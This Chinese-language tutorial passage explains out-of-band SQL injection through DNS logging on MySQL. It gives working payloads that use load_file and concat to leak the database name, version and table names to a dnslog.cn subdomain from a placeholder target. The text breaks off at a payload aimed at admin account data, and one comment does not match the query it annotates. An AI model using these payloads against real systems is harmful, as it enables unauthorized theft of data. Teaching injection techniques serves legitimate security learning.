我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、高级注入技巧 dnslog无回显注入
1、原理
DNS在解析的时候会留下日志,利用这个属性,可以读取多级域名的解析日志,来获取信息。
如果将带有查询的语句,发起dns查询请求,通过dns请求查询到值,组合成三级域名,在dns服务器dns的日志中会记录下我们查询的结果。
无回显注入,一般使用布尔型盲注入和延时注入来逐个猜解数据的字符,但是这两种查询都是很慢。然而dnslog外带查询,因为是直接显示数据,所以这种注入效率上面说的这种都要好太多。
2、dnslog平台
(1)免费的dnslog平台:传送门
3、MySQL dnslog无回显注入示例:
(1)靶机注入点:target_sys.com/article.php?id=1
(2)查询库当前库-payload1:?id=1 and if((select load_file(concat('\\\\',(select database()),'.vwmh1y.dnslog.cn\\abc'))),1,0)
# 使用load_file()这个函数,必须要在mysql开启secure_file_prv=
# 其中【select database()】是我们的注入语句
# 其中【vwmh1y.dnslog.cn】,是我们之前得到的子域名
(3)查询数据版本-payload2:?id=1 and if((select load_file(concat('\\\\',(select VERSION()),'.vwmh1y.dnslog.cn\\abc'))),1,0)
# 使用load_file()这个函数,必须要在mysql开启secure_file_prv=
# 其中【select version()】是我们的注入语句
# 其中【vwmh1y.dnslog.cn】,是我们之前得到的子域名
(4)查询当前库的第一个表名-payload3:?id=1 and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.wdykxm.dnslog.cn\\abc'))),1,0)
# 使用load_file()这个函数,必须要在mysql开启secure_file_prv=
# 其中【select username from admin】是我们的注入语句
# 其中【wdykxm.dnslog.cn】,是我们之前得到的子域名
(5)查询admin表的帐号-payload4:?id